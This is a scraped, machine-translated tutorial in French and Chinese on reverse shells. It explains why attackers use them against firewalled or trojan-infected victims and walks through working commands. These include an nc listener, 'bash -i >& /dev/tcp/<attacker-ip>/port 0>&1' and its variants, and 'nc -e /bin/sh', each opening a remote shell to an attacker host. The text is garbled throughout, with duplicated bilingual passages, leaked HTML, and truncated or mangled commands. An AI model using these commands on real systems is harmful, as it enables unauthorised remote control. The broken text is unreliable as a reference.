* Déclaration solennelle : Cet article est limité à la discussion technique et au partage, et il est strictement interdit de l'utiliser de manière illégale.
Le shell
de rebond signifie que l'extrémité de contrôle écoute sur un certain port TCP/UDP
, et que l'extrémité contrôlée initie une requête au port et envoie son ligne de commande L'entrée et la sortie vont à l'extrémité du contrôle. shell
,就是控制端监听在某TCP/UDP
端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
通俗点说,反弹shell
就是一种反向链接,与正向的ssh
等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。
为什么要反弹shell
? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web
服务,ssh
,telnet
等等,都是正向连接。
那么什么情况下正向连接不太好用了呢:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的
ip
会动态改变,你不能持续控制。3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell
。
我们用bash
远程代码执行漏洞实例来了解一下他的原理
攻击端:10.100.40.5 受害机:192.168.197.136
首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell
在攻击端输入命令nc -l 2333
然后在受害机执行命令
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell
,在我们的攻击端就能对受害端来进行下一步操作
例如:
(1)bash -i
bash
是linux
的一个比较常见的shell
,是许多Linux
发行版的默认Shell
。-i
这个参数的意思是产生交互式的shell
(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
这个文件是特别特殊的,实际上可以将其看成一个设备(Linux
下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:
(3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket
通信
我们输出字符到/dev/tcp
这个文件中
受害端:
攻击端:
(4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333
端口,并且在攻击端输入内容回车就会出现在受害端。
(5)这样思路就比较清晰了,下面再说交互重定向:
为了实现交互,我们需要把受害者交互式shell
shell
est une sorte de lien inverse. Il est différent du transfert ssh
, etc. C'est une attaque qui exécute des commandes sur l'ordinateur de l'autre partie. pour se connecter à notre mode, et ce mode d'attaque doit être utilisé avec une vulnérabilité d'exécution de commande à distance. Pourquoi rebondir le shell
? Il est généralement utilisé lorsque l'extrémité contrôlée est restreinte par un pare-feu, manque d'autorisations et que le port est occupé. Supposons que nous attaquions une machine et ouvrons un port sur la machine. L'attaquant se connecte à la machine cible sur sa propre machine. Nous appelons cela une connexion directe. Le bureau à distance, le service web
, ssh
, telnet
, etc., sont tous des connexions directes. Alors dans quelles circonstances la connexion directe n'est-elle pas facile à utiliser :
🎜1. Un client a touché votre cheval de réseau, mais il est dans le LAN et vous ne pouvez pas vous connecter directement. 🎜🎜2. Son ip
changera dynamiquement et vous ne pourrez pas le contrôler en permanence. 🎜🎜3. En raison de restrictions telles que les pare-feu, l'autre machine ne peut qu'envoyer des demandes mais ne peut pas recevoir de demandes. 🎜🎜4. On ne sait pas quand la victime sera infectée par des virus, des chevaux de Troie, à quoi ressemble l'environnement réseau de l'autre partie et quand allumer et éteindre l'ordinateur. Par conséquent, il est préférable d'établir un serveur et d'autoriser les programmes malveillants. pour se connecter activement. 🎜
🎜Ensuite, le rebond est facile à comprendre. L'attaquant spécifie le serveur et l'hôte victime se connecte activement au programme serveur de l'attaquant, appelé rebond shell
. 🎜🎜Démonstration du shell Rebound 0x01🎜🎜Nous utilisons l'exemple de vulnérabilité d'exécution de code à distance bash
pour comprendre son principe🎜🎜Fin de l'attaque : 10.100.40.5 Machine victime : 192.168.197.136🎜 blockquote >🎜Nous devons d'abord écouter le port du côté de l'attaque et utiliser ce port pour recevoir leshell
rebondi par la machine victime. Entrez la commandenc -l 2333.
du côté de l'attaque 🎜🎜🎜🎜Ensuite, exécutez la commande sur la machine victime 🎜🎜🎜🎜Nous avons constaté que dans notre extrémité d'attaque, lebash -i > /dev/tcp 10.100.40.5/2333Copier après la connexionshell
de notre extrémité victime est apparu avec succès, et nous pouvons effectuer l'étape suivante du côté de la victime lors de notre extrémité d'attaque🎜🎜🎜🎜Par exemple : 🎜🎜🎜🎜0x02 Principe🎜2.1 Principe de commande de l'obus à rebond
🎜(1)bash -i
🎜🎜bash
est unshell
courant delinux
et est utilisé par de nombreuses distributionsLinux
, leShell
par défaut.-i
Ce paramètre signifie générer unshell
interactif🎜🎜(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
Ce fichier est très spécial En fait, il peut être considéré comme un périphérique (tout sous le fichierLinux
), en fait, si vous accédez à l'emplacement de ce fichier, il n'existe pas, comme indiqué ci-dessous : 🎜🎜🎜🎜(3) Mais si vous lisez et écrivez ce fichier pendant qu'une partie écoute sur le port, vous pouvez obtenir unsocket
avec le serveur qui écoute sur le port. >Communication🎜🎜Nous extrayons les caractères dans le fichier/dev/tcp
🎜🎜Fin de la victime :🎜🎜🎜🎜Fin de l'attaque : 🎜🎜🎜🎜(4) Ensuite, nous envisageons de transférer la sortie vers la victime et continuons à écouter le2333
port du côté de l'attaque, et dans Si l'attaquant saisit le contenu et appuie sur Entrée, il apparaîtra du côté de la victime. 🎜🎜🎜🎜🎜🎜(5) De cette façon, l'idée sera plus claire, parlons-en l'interaction ci-dessous Direction : 🎜🎜Afin d'obtenir une interaction, nous devons rediriger la sortie dushell
interactif de la victime vers la machine d'attaque 🎜🎜Entrez sur la machine de la victime : 🎜bash -i 🎜Ensuite, nous trouvons ; que quelle que soit la commande entrée, il n'y aura pas d'écho L'écho apparaît et la sortie standard de l'extrémité d'attaque est dirigée vers l'extrémité d'attaque. 🎜🎜🎜🎜<p><img src="https://img.php.cn/upload/article/000/465/014/168379352250437.jpg" alt="Que signifie la coque à rebond ?"></p><p>这样只是回显而已,并没有办法在攻击端直接执行命令。</p><p>(6)所以我们还需要将攻击者输入的指令输入给受害者的<code>bash</code>:</p><pre class="brush:php;toolbar:false">bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="Que signifie la coque à rebond ?"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="Que signifie la coque à rebond ?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1Copier après la connexion受害端:
攻击端:
我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由
/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1Copier après la connexion这样命令就不会回显到受害端了。
就算是错误输出也会输出到攻击端,这样就达到了我们的目的。
2.2 常见反弹shell方法
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&1;done 0/dev/tcp/attackerip/4444; sh &196 2>&196Copier après la connexion(4) 方法四
nc -e /bin/sh 10.100.40.5 2333Copier après la connexion
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!